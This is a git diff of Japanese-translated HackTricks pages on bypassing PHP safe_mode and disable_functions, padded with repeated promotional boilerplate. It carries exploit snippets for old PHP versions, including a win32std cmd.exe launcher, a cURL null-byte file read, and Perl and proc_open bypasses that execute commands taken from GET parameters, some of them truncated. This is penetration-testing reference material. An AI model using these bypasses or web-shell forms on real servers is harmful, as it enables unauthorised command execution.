<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する。
* **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}

View file

@ -1,34 +1,36 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>Support HackTricks</summary>
HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションを発見する
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) をフォローする**。**
* **ハッキングトリックを共有するためにPRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) および [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github リポジトリに提出する。
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# PHP 5.2 - FOpen Exploit
[http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
[http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)から
```php
php -r 'fopen("srpath://../../../../../../../dir/pliczek", "a");'
```
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見る
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**する。
* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。**
</details>
{% endhint %}

View file

@ -1,21 +1,22 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>Support HackTricks</summary>
HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい場合** は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションを発見する
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) をフォローする。
* **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する。
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# PHP 5.2.3 - Win32std ext Protections Bypass
# PHP 5.2.3 - Win32std extの保護バイパス
[http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
[http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)から
```php
<?php
//PHP 5.2.3 win32std extension safe_mode and disable_functions protections bypass
@ -39,16 +40,17 @@ system("cmd.exe"); //just to be sure that protections work well
win_shell_execute("..\\..\\..\\..\\windows\\system32\\cmd.exe");
?>
```
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを発見する
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする。
* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。**
</details>
{% endhint %}

View file

@ -1,21 +1,22 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
<summary>Support HackTricks</summary>
HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションを発見する
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) をフォローする**
* **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# PHP 5.2.4および5.2.5 PHP cURL
# PHP 5.2.4 および 5.2.5 PHP cURL
[http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
[http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/) から
```text
source: http://www.securityfocus.com/bid/27413/info
@ -27,16 +28,17 @@ The issue affects PHP 5.2.5 and 5.2.4.
var_dump(curl_exec(curl_init("file://safe_mode_bypass\x00&quot;.__FILE__)));
```
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを発見する
* **💬 [**Discordグループに参加**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する。
* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}

View file

@ -1,16 +1,17 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>Support HackTricks</summary>
HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを発見する
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# PHP &lt;= 5.2.9 on windows
@ -84,16 +85,17 @@ exit
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する。
* **ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する。**
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}

View file

@ -1,19 +1,20 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>Support HackTricks</summary>
HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする**
* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# PHP Perl Extension Safe\_mode Bypass Exploit
# PHP Perl拡張 Safe\_mode バイパスエクスプロイト
From [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
```php
@ -41,16 +42,17 @@ echo "<br><form>CMD: <input type=text name=cmd value='".$_GET['cmd']."' size=25>
?>
```
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする**
* **ハッキングトリックを共有するためにPRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **githubリポジトリに提出する**
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}

View file

@ -1,21 +1,22 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>Support HackTricks</summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを発見する
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する。
* **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# PHP safe\_mode bypass via proc\_open\(\) and custom environment Exploit
# PHP safe\_mode バイパス proc\_open\(\) とカスタム環境エクスプロイト
From [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
[http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/) から
```php
<!--p $path="/var/www"; //change to your writable path $a=fopen($path."/.comm","w"); fputs($a,$_GET["c"]); fclose($a); $descriptorspec = array( 0--> array("pipe", "r"),
1 =&gt; array("file", $path."/output.txt","w"),
@ -27,16 +28,17 @@ while (!feof($a))
?&gt;;
</strong>
```
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手してください
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**してください。
* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}

View file

@ -1,21 +1,22 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
